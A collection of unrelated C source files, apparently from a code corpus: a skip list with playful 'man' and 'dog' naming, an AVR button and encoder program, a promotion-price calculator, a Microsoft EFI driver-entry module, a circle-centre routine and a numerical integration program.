/********************** * Licence: MIT * Author: Leo Ma * Date: 2014-03-12 *********************/ #include <stdio.h> #include <stdlib.h> #define MAX_LEVEL 32 /* Should be enough for 2^32 elements */ struct sk_link { struct sk_link *next, *prev; unsigned int span; }; struct range_spec { int min, max; int minex, maxex; }; struct man { int level; int dog_num; struct sk_link collar[MAX_LEVEL]; }; struct dog { int price; struct sk_link link[]; }; static inline void sklist_init(struct sk_link *link) { link->prev = link; link->next = link; } static inline void __sklist_add(struct sk_link *link, struct sk_link *prev, struct sk_link *next) { link->next = next; link->prev = prev; next->prev = link; prev->next = link; } static inline void __sklist_del(struct sk_link *prev, struct sk_link *next) { prev->next = next; next->prev = prev; } static inline void sklist_add(struct sk_link *link, struct sk_link *next) { __sklist_add(link, next->prev, next); } static inline void sklist_del(struct sk_link *link) { __sklist_del(link->prev, link->next); sklist_init(link); } static inline int sklist_empty(struct sk_link *link) { return link->next == link; } #define sklist_entry(ptr, type, member) \ ((type *)((char *)(ptr) - (unsigned long)(&((type *)0)->member))) #define sklist_foreach_forward(pos, end) \ for (; pos != end; pos = pos->next) #define sklist_foreach_forward_safe(pos, n, end) \ for (n = pos->next; pos != end; pos = n, n = pos->next) #define sklist_foreach_backward(pos, end) \ for (; pos != end; pos = pos->prev) #define sklist_foreach_backward_safe(pos, n, end) \ for (n = pos->prev; pos != end; pos = n, n = pos->prev) // Wow! struct dog * dog_birth(int level, int price) { struct dog *dog; dog = (struct dog *)malloc(sizeof(*dog) + level * sizeof(struct sk_link)); if (dog == NULL) return NULL; dog->price = price; return dog; } // Wow! Wow! Wow! Wowwwwwwwwwwwwwww... void dog_kill(struct dog *dog) { free(dog); } // Come on, baby! struct man * man_birth() { int i; struct man *man; man = (struct man *)malloc(sizeof(*man)); if (man == NULL) return NULL; man->level = 1; man->dog_num = 0; for (i = 0; i < sizeof(man->collar) / sizeof(man->collar[0]); i++) { sklist_init(&man->collar[i]); man->collar[i].span = 0; } return man; } // Please don't, Bro! please! void man_kill(struct man *man) { struct sk_link *pos, *n; struct dog *dog; pos = man->collar[0].next; sklist_foreach_forward_safe(pos, n, &man->collar[0]) { dog = sklist_entry(pos, struct dog, link[0]); dog_kill(dog); } free(man); } static int random_level(void) { const double SKIPLIST_P = 0.25; int level = 1; while ((random() & 0xffff) < 0xffff * SKIPLIST_P) level++; return level > MAX_LEVEL ? MAX_LEVEL : level; } /* O^_^O */ void adopt(struct man *man, int price) { int i, level, rank[MAX_LEVEL]; struct sk_link *pos, *end, *update[MAX_LEVEL]; struct dog *dog; level = random_level(); if (level > man->level) man->level = level; dog = dog_birth(level, price); if (dog == NULL) return; i = man->level - 1; pos = &man->collar[i]; end = &man->collar[i]; for (; i >= 0; i--) { rank[i] = i == man->level - 1 ? 0 : rank[i + 1]; pos = pos->next; sklist_foreach_forward(pos, end) { struct dog *d = sklist_entry(pos, struct dog, link[i]); if (d->price >= price) { end = &d->link[i]; break; } rank[i] += d->link[i].span; } update[i] = end; pos = end->prev; pos--; end--; } for (i = 0; i < man->level; i++) { if (i < level) { sklist_add(&dog->link[i], update[i]); dog->link[i].span = rank[0] - rank[i] + 1; update[i]->span -= dog->link[i].span - 1; } else { update[i]->span++; } } man->dog_num++; } /* T_T */ void __abandon(struct man *man, struct dog *dog, int level, struct sk_link **update) { int i; for (i = 0; i < man->level; i++) { if (i < level) { sklist_del(&dog->link[i]); update[i] = dog->link[i].next; update[i]->span += dog->link[i].span - 1; } else { update[i]->span--; } if (sklist_empty(&man->collar[i])) { man->level--; } } dog_kill(dog); man->dog_num--; } /* T_T */ void abandon(struct man *man, int price) { int i; struct sk_link *pos, *n, *end, *update[MAX_LEVEL]; i = man->level - 1; pos = &man->collar[i]; end = &man->collar[i]; for (; i >= 0; i--) { pos = pos->next; sklist_foreach_forward_safe(pos, n, end) { struct dog *dog = sklist_entry(pos, struct dog, link[i]); if (dog->price > price) { end = &dog->link[i]; break; } else if (dog->price == price) { // Here's no break statement because we allow dogs with same price. __abandon(man, dog, i + 1, update); } } update[i] = end; pos = end->prev; pos--; end--; } } int price_gte_min(int price, struct range_spec *range) { return range->maxex ? (price > range->max) : (price >= range->max); } int price_lte_max(int price, struct range_spec *range) { return range->minex ? (price < range->min) : (price <= range->min); } /* Returns if there is dog price in range */ int price_in_range(struct man *man, struct range_spec *range) { struct dog *dog; struct sk_link *link; if (range->min > range->max || (range->min == range->max && (range->minex || range->maxex))) return 0; if (sklist_empty(&man->collar[0])) return 0; link = man->collar[0].next; dog = sklist_entry(link, struct dog, link[0]); if (!price_lte_max(dog->price, range)) return 0; link = man->collar[0].prev; dog = sklist_entry(link, struct dog, link[0]); if (!price_gte_min(dog->price, range)) return 0; return 1; } /* Find the first dog price that is contained in the specified range * where min and max are inclusive. */ struct dog * first_in_range(struct man *man, struct range_spec *range) { int i; struct dog *dog = NULL; struct sk_link *pos, *end; if (!price_in_range(man, range)) return NULL; i = man->level - 1; pos = &man->collar[i]; end = &man->collar[i]; for (; i >= 0; i--) { pos = pos->next; sklist_foreach_forward(pos, end) { dog = sklist_entry(pos, struct dog, link[i]); if (price_gte_min(dog->price, range)) { pos = dog->link[i].prev; end = dog->link[i].next; goto CONTINUE; } } pos = end->prev; CONTINUE: pos--; end--; } return dog; } /* Find the last dog price that is contained in the specified range * where min and max are inclusive. */ struct dog * last_in_range(struct man *man, struct range_spec *range) { int i; struct dog *dog = NULL; struct sk_link *pos, *end; if (!price_in_range(man, range)) return NULL; i = man->level - 1; pos = &man->collar[i]; end = &man->collar[i]; for (; i >= 0; i--) { pos = pos->prev; sklist_foreach_backward(pos, end) { dog = sklist_entry(pos, struct dog, link[i]); if (price_lte_max(dog->price, range)) { pos = dog->link[i].next; end = dog->link[i].prev; goto CONTINUE; } } pos = end->next; CONTINUE: pos--; end--; } return dog; } /* Abandon all the dogs with price in range * where min and max are inclusive. */ unsigned int abandon_in_range(struct man *man, struct range_spec *range) { int i; unsigned int removed = 0; struct dog *dog = NULL; struct sk_link *pos, *n, *end, *update[MAX_LEVEL]; if (price_in_range(man, range)) return 0; i = man->level - 1; pos = &man->collar[i]; end = &man->collar[i]; for (; i >= 0; i--) { pos = pos->next; sklist_foreach_forward_safe(pos, n, end) { dog = sklist_entry(pos, struct dog, link[i]); if (!price_lte_max(dog->price, range)) { end = &dog->link[i]; break; } else if (price_gte_min(dog->price, range)) { /* Here's no break statement because we allow dogs with same price. */ __abandon(man, dog, i + 1, update); removed++; } } update[i] = end; pos = end->prev; pos--; end--; } return removed; } /* Abandon all the dogs with price rank in range * where start and stop are inclusive. */ unsigned int abandon_in_rank(struct man *man, unsigned int start, unsigned int stop) { int i; unsigned int removed = 0, traversed = 0; struct sk_link *pos, *n, *end, *update[MAX_LEVEL]; if (start <= 0 || stop <= 0 || start > man->dog_num) return 0; i = man->level - 1; pos = &man->collar[i]; end = &man->collar[i]; for (; i >= 0; i--) { pos = pos->next; sklist_foreach_forward_safe(pos, n, end) { struct dog *dog = sklist_entry(pos, struct dog, link[i]); if (traversed + dog->link[i].span > stop) { end = &dog->link[i]; break; } else if (traversed + dog->link[i].span >= start) { /* Here's no break statement because we allow dogs with same price. */ __abandon(man, dog, i + 1, update); removed++; continue; } traversed += dog->link[i].span; } update[i] = end; pos = end->prev; pos--; end--; } return removed; } /* Get the dog price rank */ unsigned int price_rank(struct man *man, int price) { int i; unsigned int rank = 0; struct sk_link *pos, *end; i = man->level - 1; pos = &man->collar[i]; end = &man->collar[i]; for (; i >= 0; i--) { pos = pos->next; sklist_foreach_forward(pos, end) { struct dog *dog = sklist_entry(pos, struct dog, link[i]); if (dog->price > price) { end = &dog->link[i]; break; } else if (dog->price == price) { return rank + dog->link[i].span; } rank += dog->link[i].span; } pos = end->prev; pos--; end--; } return 0; } /* Find the dog with specified price. */ struct dog * find_by_price(struct man *man, int price) { int i; struct sk_link *pos, *end; i = man->level - 1; pos = &man->collar[i]; end = &man->collar[i]; for (; i >= 0; i--) { pos = pos->next; sklist_foreach_forward(pos, end) { struct dog *dog = sklist_entry(pos, struct dog, link[i]); if (dog->price == price) { return dog; } else if (dog->price > price) { end = &dog->link[i]; break; } } pos = end->prev; pos--; end--; } return NULL; } /* Find the dog with specified price rank. */ struct dog * find_by_rank(struct man *man, unsigned int rank) { int i; unsigned int traversed = 0; struct sk_link *pos, *end; if (rank == 0 || rank > man->dog_num) return NULL; i = man->level - 1; pos = &man->collar[i]; end = &man->collar[i]; for (; i >= 0; i--) { pos = pos->next; sklist_foreach_forward(pos, end) { struct dog *dog = sklist_entry(pos, struct dog, link[i]); if (rank == traversed + dog->link[i].span) { return dog; } else if (traversed + dog->link[i].span > rank) { end = &dog->link[i]; break; } traversed += dog->link[i].span; } pos = end->prev; pos--; end--; } return NULL; } void print(struct man *man) { int i; struct sk_link *pos, *n, *end; unsigned int traversed = 0; printf("\nTotal %d dogs: \n", man->dog_num); i = man->level - 1; pos = &man->collar[i]; end = &man->collar[i]; for (; i >= 0; i--) { traversed = 0; pos = pos->next; sklist_foreach_forward_safe(pos, n, end) { struct dog *dog = sklist_entry(pos, struct dog, link[i]); traversed += dog->link[i].span; printf("level:%d price:0x%08x rank:%u\n", i + 1, dog->price, traversed); } pos = &man->collar[i]; pos--; end--; } } int main(void) { #define NUM 1024 * 1024 struct man *man; struct dog *dog; int i; int *price; price = (int *)malloc(NUM * sizeof(int)); if (price == NULL) exit(-1); // Hello man! man = man_birth(); if (man == NULL) exit(-1); printf("Test start!\n"); printf("Start to adopt %d dogs...\n", NUM); // Insert test. for (i = 0; i < NUM; i++) { price[i] = (int)rand(); adopt(man, price[i]); } //print(man); printf("Adoption finished. Now play with each dog...\n"); // Search test 1. for (i = 0; i < NUM; i++) { dog = find_by_price(man, price[i]); if (dog != NULL) { //printf("dog price:0x%08x\n", dog->price); } else { printf("Not found:0x%08x\n", price[i]); } price_rank(man, price[i]); //printf("price rank:%d\n", price_rank(man, price[i])); } // Search test 2. for (i = 0; i < NUM; i++) { dog = find_by_rank(man, i + 1); if (dog != NULL) { //printf("dog price:0x%08x\n", dog->price); } else { printf("Not found:0x%08x\n", price[i]); } } printf("Play finished. Now abandon some dogs...\n"); // Delete test. for (i = 0; i < NUM; i += 2) { abandon(man, price[i]); } //print(man); printf("Abandon Finished.\nEnd of Test\n"); // Goodbye man! man_kill(man); return 0; }
C
/* * bush_button.c * * Created: 1/15/2015 7:25:23 PM * Author: Ben */ /* Sample program for Olimex AVR-CAN with AT90CAN128 processor * Press the BUTTON the turn LED on * Compile with AVRStudio+WinAVR (gcc version 3.4.6) */ #define __AVR_AT90CAN128__ 1 #define OSCSPEED 16000000 /* in Hz */ #include "avr/io.h" extern signed short angle = 0; static unsigned char ab = 0; const signed short table[] = {0,-1,1,0,1,0,0,-1,-1,0,0,1,0,1,-1,0}; void PORT_Init() { PORTA = 0b00000000; DDRA = 0b00000000; PORTB = 0b00000000; DDRB = 0b00000000; PORTC = 0b00000000; DDRC = 0b00000000; PORTD = 0b00000000; DDRD = 0b00000000; PORTE = 0b00000000; DDRE = 0b00010000; //Led set as output (Bit4 = 1) , Button set as input(Bit 5 = 0) PORTF = 0b00000000; DDRF = 0b00000000; } void WDT_Off(void) { WDTCR = (1<<WDCE) | (1<<WDE); WDTCR = 0x07; //increase Watchdog time-out period (Bit0,1,2 = 1) } int main() { WDT_Off(); PORT_Init(); while (1) { asm("WDR"); //avoiding reset of the program ab = ab << 2; ab |= (PORTD & 0x3); angle += table[(ab & 0xf)]; if ((!(PINE & 0b00100000)) | (!(PINE & 0b01000000)) ) //if button is pressed (Bit5 = 0) or encoder button PORTE = PORTE & 0b11101111; //led on (Bit4 = 0) else PORTE = PORTE | 0b00010000; //led off (Bit4 = 1) } }
C
#include <stdio.h> const int ENDSEQ = -1; const int PROMO_LOYALTY = 0.95; typedef enum {FALSE,TRUE} bool; void addToAmound (float *amount, float price,int qtt, char promo, float VAT); float computeNoPromoPrice (float price, int qtt, float VAT); float computeNxMPromoPrice (int N,int M,float price,int qtt, float VAT); float computeHalfPromoPrice (float price, int qtt, float VAT); bool loyaltyCard; int code,qtt,percent; char promo,card,blank; float price,VAT,amount; int main(int argc, char **argv) { amount= 0.0; scanf("%c",&card); loyaltyCard = (card=='S'); scanf("%c", &blank); scanf("%d", &code); while (code!=ENDSEQ) { scanf("%f",&price); scanf("%d",&qtt); scanf("%c",&blank); scanf("%c",&promo); scanf("%c",&blank); scanf("%d",&percent); VAT= 1.0 + (((float)(percent) / 100.0)); addToAmound( &amount, price, qtt, promo, VAT ); scanf("%d",&code); } if (loyaltyCard){ amount=amount*0.95; } printf("%.2f" , amount); return 0; } void addToAmound (float *amount, float price,int qtt, char promo, float VAT){ float productPrice; productPrice=0.0; switch (promo) { case 'N': productPrice= computeNoPromoPrice( price, qtt, VAT ); break; case 'T': productPrice= computeNxMPromoPrice( 3, 2, price, qtt, VAT ); break; case 'D': productPrice= computeNxMPromoPrice( 2, 1, price, qtt, VAT ); break; default : productPrice= computeHalfPromoPrice( price, qtt, VAT ); } *amount=*amount + productPrice; } float computeNoPromoPrice (float price, int qtt, float VAT) { return price * (float)(qtt) * VAT; } float computeNxMPromoPrice (int N,int M,float price,int qtt, float VAT) { float promo,nopromo; promo= (float)(qtt/N) * (float)(M) * price * VAT; nopromo= (float )(qtt % N) * price * VAT; return promo + nopromo; } float computeHalfPromoPrice (float price, int qtt, float VAT) { float promo,nopromo; nopromo=((float)(qtt/2)+(float)(qtt % 2)) * price * VAT; promo= (float)(qtt/2) * price* 0.5 * VAT; return promo + nopromo; }
C
/*++ Copyright (c) 1995-2001 Microsoft Corporation Module Name: efidrvent.c Abstract: Contains the EFI driver entry abstraction implementation. Author: Mandar Gokhale (MandarG@microsoft.com) 14-June-2002 Revision History: None. --*/ #include <efidrvent.h> #include <ntosp.h> #include <efi.h> #include <stdio.h> static NTSTATUS EFIDEAddOrUpdateDriverEntry( IN PDRIVER_ENTRY This, IN BOOLEAN IsUpdate ) /*++ Description: Modify or update a driver entry. Arguments: This - Driver entry . IsUpdate - whether this is a driver entry update or add. Return Value: NTSTATUS or add/modify driver operation. --*/ { // // Add this as new boot entry // ULONG FullPathLength = 0; ULONG DevicePathLength = 0; ULONG SrcPathLength = 0; ULONG FriendlyNameOffset = 0; ULONG FriendlyNameLength = 0; ULONG FilePathLength = 0; ULONG EntryLength = 0; ULONG DriverEntryLength = 0; PEFI_DRIVER_ENTRY DriverEntry = NULL; PFILE_PATH FilePath; NTSTATUS Status; DevicePathLength = (wcslen((PCWSTR)This->NtDevicePath)+ 1) * sizeof(WCHAR); SrcPathLength = (wcslen((PCWSTR)This->DirPath) + 1) * sizeof(WCHAR); FullPathLength = DevicePathLength + SrcPathLength; FriendlyNameOffset = ALIGN_UP(sizeof(EFI_DRIVER_ENTRY), WCHAR); FriendlyNameLength = (wcslen(This->FriendlyName) + 1) * sizeof(WCHAR); FilePathLength = FIELD_OFFSET(FILE_PATH, FilePath) + FullPathLength; EntryLength = FriendlyNameOffset + ALIGN_UP(FriendlyNameLength, ULONG) + FilePathLength; DriverEntry = SBE_MALLOC(EntryLength); DriverEntry->Version = EFI_DRIVER_ENTRY_VERSION; DriverEntry->Length = EntryLength; DriverEntry->FriendlyNameOffset = FriendlyNameOffset; DriverEntry->DriverFilePathOffset = FriendlyNameOffset + ALIGN_UP(FriendlyNameLength, ULONG); RtlCopyMemory((PCHAR) DriverEntry + DriverEntry->FriendlyNameOffset, This->FriendlyName, FriendlyNameLength); FilePath = (PFILE_PATH) ((PCHAR) DriverEntry + DriverEntry->DriverFilePathOffset); FilePath->Version = FILE_PATH_VERSION; FilePath->Length = FilePathLength; FilePath->Type = FILE_PATH_TYPE_NT; RtlCopyMemory(FilePath->FilePath, This->NtDevicePath, DevicePathLength ); RtlCopyMemory(FilePath->FilePath + DevicePathLength, This->DirPath, SrcPathLength); if (IsUpdate){ // // Update the driver. // DriverEntry->Id = This->Id; Status = NtModifyDriverEntry(DriverEntry); } else { // // Add a new driver entry. // Status = NtAddDriverEntry(DriverEntry, &(This->Id)); } // // Free allocated memory. // if(DriverEntry){ SBE_FREE(DriverEntry); } return Status; } static BOOLEAN EFIDEFlushDriverEntry( IN PDRIVER_ENTRY This // Points to the driver List. ) { BOOLEAN Result = FALSE; if (This) { NTSTATUS Status = STATUS_SUCCESS; if (DRIVERENT_IS_DIRTY(This)) { if (DRIVERENT_IS_DELETED(This)) { // // Delete this entry // Status = NtDeleteDriverEntry(This->Id); } else if (DRIVERENT_IS_NEW(This)) { // // Add new Entry. // Status = EFIDEAddOrUpdateDriverEntry(This, FALSE); } else { // // Just update this boot entry // Status = EFIDEAddOrUpdateDriverEntry(This, TRUE); } if (NT_SUCCESS(Status)) { DRIVERENT_RESET_DIRTY(This); Result = TRUE; } } else { Result = TRUE; // nothing to flush } } return Result; } __inline BOOLEAN EFIDEDriverMatch( IN PDRIVER_ENTRY DriverEntry , IN PCWSTR SrcNtFullPath ) { BOOLEAN Result = FALSE; if (!_wcsicmp(DriverEntry->FileName, (wcsrchr(SrcNtFullPath,L'\\')+1))){ Result = TRUE; } return(Result); } static PDRIVER_ENTRY EFIDESearchForDriverEntry( IN POS_BOOT_OPTIONS This, IN PCWSTR SrcNtFullPath ) /*++ Description: Searches our internal list of driver entries for a match. It looks up the driver name (not including the path) for a match. so a\b\c\driver.sys and e\f\driver.sys would be a match. --*/ { PDRIVER_ENTRY CurrentDriverEntry = NULL; if (This && SrcNtFullPath){ CurrentDriverEntry = This->DriverEntries; while (CurrentDriverEntry){ if (EFIDEDriverMatch(CurrentDriverEntry, SrcNtFullPath)){ break; } CurrentDriverEntry = OSBOGetNextDriverEntry(This, CurrentDriverEntry); } } return (CurrentDriverEntry); } PDRIVER_ENTRY EFIDECreateNewDriverEntry( IN POS_BOOT_OPTIONS This, IN PCWSTR FriendlyName, IN PCWSTR NtDevicePath, IN PCWSTR DirPath ) { PDRIVER_ENTRY DriverEntry = NULL; if (This && FriendlyName && DirPath && NtDevicePath){ PDRIVER_ENTRY CurrentDriverEntry = NULL; DriverEntry = (PDRIVER_ENTRY)SBE_MALLOC(sizeof(DRIVER_ENTRY)); memset(DriverEntry, 0, sizeof(DRIVER_ENTRY)); EFIDEDriverEntryInit(DriverEntry); DriverEntry->BootOptions = This; // // Set information for the driver entry. // OSDriverSetFileName(DriverEntry, DirPath); OSDriverSetNtPath(DriverEntry, NtDevicePath); OSDriverSetDirPath(DriverEntry, DirPath); OSDriverSetFriendlyName(DriverEntry, FriendlyName); // // Mark the driver entry new and dirty. // DRIVERENT_SET_NEW(DriverEntry); DRIVERENT_SET_DIRTY(DriverEntry); } return (DriverEntry); } PDRIVER_ENTRY EFIOSBOInsertDriverListNewEntry( IN POS_BOOT_OPTIONS This, IN PDRIVER_ENTRY DriverEntry ) { if (This && DriverEntry){ PDRIVER_ENTRY CurrentDriverEntry = NULL; // // Insert into the list. // if (NULL == This->DriverEntries){ // // No driver entries, this is the first one. // This->DriverEntries = DriverEntry; }else{ // // Insert in the existing list. // DriverEntry->NextEntry = This->DriverEntries; This->DriverEntries = DriverEntry; } } return (DriverEntry); } PDRIVER_ENTRY EFIDEAddNewDriverEntry( IN POS_BOOT_OPTIONS This, IN PCWSTR FriendlyName, IN PCWSTR NtDevicePath, IN PCWSTR SrcNtFullPath ) /*++ Description: Used to add a new driver entry in NVRAM. --*/ { PEFI_DRIVER_ENTRY_LIST DriverList = NULL; // list of driver entries PDRIVER_ENTRY DriverEntry = NULL; if (This && FriendlyName && SrcNtFullPath && NtDevicePath){ DriverEntry = EFIDECreateNewDriverEntry(This, FriendlyName, NtDevicePath, SrcNtFullPath); // // Mark it as new // DRIVERENT_IS_NEW(DriverEntry); // // flush the entry, // see status, if successful put it in the list (only if new) // otherwise free it // if (!OSDriverEntryFlush(DriverEntry)){ SBE_FREE(DriverEntry); DriverEntry = NULL; } else { ULONG OrderCount; PULONG NewOrder; // // If the driver was newly added one then insert it in the driver list. // if (DRIVERENT_IS_NEW(DriverEntry)){ EFIOSBOInsertDriverListNewEntry(This, DriverEntry); // // Increment the count of the number of driver entries in the list. // This->DriverEntryCount++; // // Put the new entry at the end of the boot order // OrderCount = OSBOGetOrderedDriverEntryCount(This); NewOrder = (PULONG)SBE_MALLOC((OrderCount + 1) * sizeof(ULONG)); if (NewOrder) { memset(NewOrder, 0, sizeof(ULONG) * (OrderCount + 1)); // // copy over the old ordered list // memcpy(NewOrder, This->DriverEntryOrder, sizeof(ULONG) * OrderCount); NewOrder[OrderCount] = OSDriverGetId((PDRIVER_ENTRY)DriverEntry); SBE_FREE(This->DriverEntryOrder); This->DriverEntryOrder = NewOrder; This->DriverEntryOrderCount = OrderCount + 1; } else { // // Remove the driver entry out of the link list. // Just freeing it will cause memory leaks. // TBD: decide if we want to delete this driver entry too // This->DriverEntries = DriverEntry->NextEntry; SBE_FREE(DriverEntry); DriverEntry = NULL; } } } } return DriverEntry; } __inline ULONG EFIDESetDriverId( IN PDRIVER_ENTRY This, IN ULONG DriverId ) { if (This){ This->Id = DriverId; } return (DriverId); } PDRIVER_ENTRY EFIDECreateDriverEntry(PEFI_DRIVER_ENTRY_LIST Entry, POS_BOOT_OPTIONS This ) /*++ Description: Used to interpret a driver entry returned by NtEnumerateDriverEntries(..) into our format. Arguments: Entry - EFI format driver entry returned to us by NT. This - container for the driver entry list that we generate. Return: PDRIVER_ENTRY ( driver entry in our format). --*/ { PDRIVER_ENTRY ResultDriverEntry = NULL; if (Entry && This){ PFILE_PATH FilePath = (PFILE_PATH) ((PCHAR) &Entry->DriverEntry + Entry->DriverEntry.DriverFilePathOffset); PWCHAR FriendlyName = (PWCHAR)((PCHAR)&Entry->DriverEntry + Entry->DriverEntry.FriendlyNameOffset); ULONG NtDevicePathLength = 0; PDRIVER_ENTRY DriverEntry = NULL; PFILE_PATH DriverOptionPath = NULL; NTSTATUS Status = STATUS_UNSUCCESSFUL; if(FilePath->Type != FILE_PATH_TYPE_NT) { PVOID Buffer; ULONG PathLength = 0; Status = NtTranslateFilePath(FilePath, FILE_PATH_TYPE_NT, NULL, &PathLength); if(NT_SUCCESS(Status)) { Status = STATUS_UNSUCCESSFUL; } if(STATUS_BUFFER_TOO_SMALL == Status) { ASSERT(PathLength != 0); DriverOptionPath = (PFILE_PATH)SBE_MALLOC(PathLength); memset(DriverOptionPath, 0, sizeof(PathLength)); Status = NtTranslateFilePath(FilePath, FILE_PATH_TYPE_NT, DriverOptionPath, &PathLength); } if(!NT_SUCCESS(Status)) { if(STATUS_OBJECT_PATH_NOT_FOUND == Status || STATUS_OBJECT_NAME_NOT_FOUND == Status) { // // This entry is stale; remove it // NtDeleteDriverEntry(Entry->DriverEntry.Id); } // // Free the DriverOptionPath memory // if(DriverOptionPath != NULL) { SBE_FREE(DriverOptionPath); DriverOptionPath = NULL; } } } if (DriverOptionPath){ ULONG FilePathLength = 0; DriverEntry = (PDRIVER_ENTRY)SBE_MALLOC(sizeof(DRIVER_ENTRY)); memset(DriverEntry, 0, sizeof(DRIVER_ENTRY)); // // Set pointer back to boot options (container). // DriverEntry->BootOptions = This; EFIDEDriverEntryInit(DriverEntry); // // Set driver ID. // EFIDESetDriverId(DriverEntry, Entry->DriverEntry.Id); // // Set File Name. // NtDevicePathLength = wcslen((PCWSTR) DriverOptionPath->FilePath) + 1; OSDriverSetFileName(DriverEntry, (PCWSTR) DriverOptionPath->FilePath + NtDevicePathLength); // // Set NT path and Driver dir. // OSDriverSetNtPath(DriverEntry, (PCWSTR)DriverOptionPath->FilePath); OSDriverSetDirPath(DriverEntry, (PCWSTR)(DriverOptionPath->FilePath) + NtDevicePathLength); // // Set Friendly Name. // OSDriverSetFriendlyName(DriverEntry, FriendlyName); // // Free the DriverOptionPath memory // if(DriverOptionPath != NULL) { SBE_FREE(DriverOptionPath); } ResultDriverEntry = DriverEntry; } } return ResultDriverEntry; } NTSTATUS EFIDEInterpretDriverEntries( IN POS_BOOT_OPTIONS This, IN PEFI_DRIVER_ENTRY_LIST DriverList ) /*++ Description: Used to interpret the driver entries returned by NtEnumerateDriverEntries(..) into our format. Arguments: This - container for the driver entry list that we generate. DriverList - Driver list returned by NtEnumerateDriverEntries(..). Return: NTSTATUS code. --*/ { NTSTATUS Status = STATUS_UNSUCCESSFUL; if (This && DriverList){ PEFI_DRIVER_ENTRY_LIST Entry; PDRIVER_ENTRY DriverEntry = NULL; BOOLEAN Continue = TRUE; Status = STATUS_SUCCESS; for(Entry = DriverList; Continue; Entry = (PEFI_DRIVER_ENTRY_LIST) ((PCHAR) Entry + Entry->NextEntryOffset)) { Continue = (Entry->NextEntryOffset != 0); DriverEntry = EFIDECreateDriverEntry(Entry, This); if (DriverEntry){ // // Insert into the list of drivers in the OSBO structure. // if (NULL == This->DriverEntries){ This->DriverEntries = DriverEntry; } else{ DriverEntry->NextEntry = This->DriverEntries; This->DriverEntries = DriverEntry; } This->DriverEntryCount++; } } } return Status; } static VOID EFIDEDriverEntryInit( IN PDRIVER_ENTRY This ) { This->Flush = EFIDEFlushDriverEntry; }
C
/* Adailson Pinho dos Santos - 13/0140724 Vitor Nere Araújo Ribeiro - 13/0137413 */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <math.h> #include "operacoes.h" #include "tipos_compostos.h" void calculaCentro(ppc *p, circulo *circ) { double x, y, a, b, c, d, k1, k2; int det; char *msg; /* Ao determinar os valores de x e y, calcular o raio */ a = (double) 2*(p->ponto2[0] - p->ponto1[0]); b = (double) 2*(p->ponto2[1] - p->ponto1[1]); c = (double) 2*(p->ponto3[0] - p->ponto1[0]); d = (double) 2*(p->ponto3[1] - p->ponto1[1]); det = (int) a*d - b*c; if(det == 0) { msg = (char*) malloc(sizeof(char)*25); strcpy(msg, "Circulo nao viavel."); circ->msg = msg; return; } k1 = (p->ponto2[0]*p->ponto2[0] + p->ponto2[1]*p->ponto2[1]) - (p->ponto1[0]*p->ponto1[0] + p->ponto1[1]*p->ponto1[1]); k2 = (p->ponto3[0]*p->ponto3[0] + p->ponto3[1]*p->ponto3[1]) - (p->ponto1[0]*p->ponto1[0] + p->ponto1[1]*p->ponto1[1]); x = (k1*d - k2*b)/det; y = (a*k2 - c*k1)/det; circ->x = x; circ->y = y; } void calculaRaio(ppc *p, circulo *c) { /* Pela equação reduzida da circunferência, temos que: raio^2 = (x-a)^2 + (y-b)^2, portanto: */ double r; r = sqrt((c->x - p->ponto1[0])*(c->x - p->ponto1[0]) + (c->y - p->ponto1[1])*(c->y - p->ponto1[1])); c->raio = r; }
C
#include <stdio.h> #include <stdlib.h> #include "riemann_sums.h" #include <math.h> double test_func(double vals[]) { double x = vals[0]; // bit of a flipped parabola // return -pow(x - 1, 2) + 2.0; // should be -4.33 between 3 and 4 // return sin(x*x); // answer between 0 1 should be about .30 return 4.0 * pow(x, 3) + -2.3*pow(x, 2) + 6.0*x; // return pow(x, 3); } int main(int argc, const char* args[]) { Interval interval; printf("Please enter the endpoints of the interval followed by the number of terms:\n"); scanf("%lf", &interval.a); scanf("%lf", &interval.b); int num_intervals; scanf("%d", &num_intervals); if (num_intervals % 3 != 0) { printf("Must have a multiple of three panels!\n"); exit(1); } Equation *eq = newEquation('x', 1); eq->evaluate = &test_func; printf("Approx definite integral (Simpsons three eighths rule): %e\n", riemannApprox(interval, eq, num_intervals, SIMPSONS_THREE_EIGTHS_RULE)); printf("Approx definite integral (left endpoint): %e\n", riemannApprox(interval, eq, num_intervals, RIEMANN_LEFT)); printf("Approx definite integral (trapezoid): %e\n", riemannApprox(interval, eq, num_intervals, TRAPEZOID_RULE)); printf("Approx definite integral (center): %e\n", riemannApprox(interval, eq, num_intervals, RIEMANN_CENTER)); freeEquation(eq); return 0; } double riemannApprox(Interval interval, Equation *func, int num_intervals, RiemannType type) { int i = 0; double sum = 0.0; double interval_width = (interval.b - interval.a) / (double) num_intervals; double func_params[1]; // Note: we are counting by panels, not endpoints for (i = 0; i < num_intervals; i++) { switch (type) { case RIEMANN_LEFT: // use the right interval func_params[0] = i * interval_width + interval.a; sum += func->evaluate(func_params); break; case RIEMANN_RIGHT: func_params[0] = (i + 1) * interval_width + interval.a; sum += func->evaluate(func_params); break; case TRAPEZOID_RULE: func_params[0] = i * interval_width + interval.a; sum += 1.0 / 2.0 * func->evaluate(func_params); func_params[0] = (i + 1) * interval_width + interval.a; sum += 1.0 / 2.0 * func->evaluate(func_params); break; case SIMPSONS_RULE: // we do different things depending on what panel we are looking at if (i % 2 == 1) { func_params[0] = i * interval_width + interval.a; sum += 4.0 / 3.0 * func->evaluate(func_params); func_params[0] = (i - 1) * interval_width + interval.a; sum += 1.0 / 3.0 * func->evaluate(func_params); func_params[0] = (i + 1) * interval_width + interval.a; sum += 1.0 / 3.0 * func->evaluate(func_params); } break; case SIMPSONS_THREE_EIGTHS_RULE: if (i % 3 == 1) { func_params[0] = (i - 1) * interval_width + interval.a; sum += 3.0 / 8.0 * func->evaluate(func_params); func_params[0] = i * interval_width + interval.a; sum += 9.0 / 8.0 * func->evaluate(func_params); func_params[0] = (i + 1) * interval_width + interval.a; sum += 9.0 / 8.0 * func->evaluate(func_params); func_params[0] = (i + 2) * interval_width + interval.a; sum += 3.0 / 8.0 * func->evaluate(func_params); } break; case RIEMANN_CENTER: func_params[0] = i * interval_width + interval_width / 2.0 + interval.a; sum += func->evaluate(func_params); break; } } sum *= interval_width; // factored it out to increase speed return sum; }
C
